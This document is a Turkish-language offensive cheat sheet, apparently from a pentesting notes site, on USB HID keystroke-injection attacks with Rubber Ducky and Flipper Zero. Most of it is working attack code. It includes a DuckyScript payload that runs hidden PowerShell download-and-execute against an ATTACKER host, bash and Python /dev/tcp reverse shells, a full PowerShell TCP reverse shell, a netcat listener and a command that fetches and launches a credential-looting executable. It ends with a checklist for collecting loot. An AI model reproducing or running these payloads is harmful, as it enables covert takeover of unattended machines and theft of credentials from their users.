USB HID Saldırıları
hardware hid
USB HID cihaz klavye gibi görünür; host sürücü sormadan tuş vuruşu enjekte eder. Açık oturum veya kısa kilitsiz pencerede reverse shell / credential theft zinciri kurulur.
Metodoloji
Section titled “Metodoloji”-
Hedef OS ve klavye düzenini doğrula (TR-Q / EN-US payload farklıdır).
-
Kısa, güvenilir bir ilk stage seç (PowerShell / bash one-liner).
-
Cihaz tak → delay → inject → listener’da bağlantıyı doğrula.
-
İkinci stage ile TTY/loot taşı; HID’yi gerekirse tekrar kullanma.
Payload (DuckyScript)
Section titled “Payload (DuckyScript)”DELAY 1000GUI rDELAY 300STRING powershell -w hidden -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/i.ps1')"ENTERDELAY 800CTRL-ALT tDELAY 400STRING bash -c 'bash -i >& /dev/tcp/ATTACKER/443 0>&1'ENTERduckencoder -i payload.txt -o inject.binFlipper / BadUSB
Section titled “Flipper / BadUSB”Flipper Zero → Bad USB → uygun layout .txt# Kali / Atakboard benzerihid-gadget-test /dev/hidg0 keyboardecho 'string bash -i >& /dev/tcp/ATTACKER/443 0>&1' | hid-gadget-test /dev/hidg0 keyboardWindows hızlı zincir
Section titled “Windows hızlı zincir”powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length)}"nc -lvnp 443# Credential / loot sonrasıiwr http://ATTACKER/sharp.exe -OutFile $env:TEMP\s.exe; Start-Process $env:TEMP\s.exeLinux hızlı zincir
Section titled “Linux hızlı zincir”bash -c 'bash -i >& /dev/tcp/ATTACKER/443 0>&1'python3 -c 'import socket,subprocess,oss=socket.socket()s.connect(("ATTACKER",443))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)subprocess.call(["/bin/sh","-i"])'Layout: TR klavyede " ve / karakterleri EN payload'ı bozar — layout'a göre encode etChecklist
Section titled “Checklist”[ ] OS + klavye layout doğrulandı[ ] Listener hazır[ ] Delay yeterli (login animasyonu)[ ] İlk stage bağlandı[ ] İkinci stage / loot alındı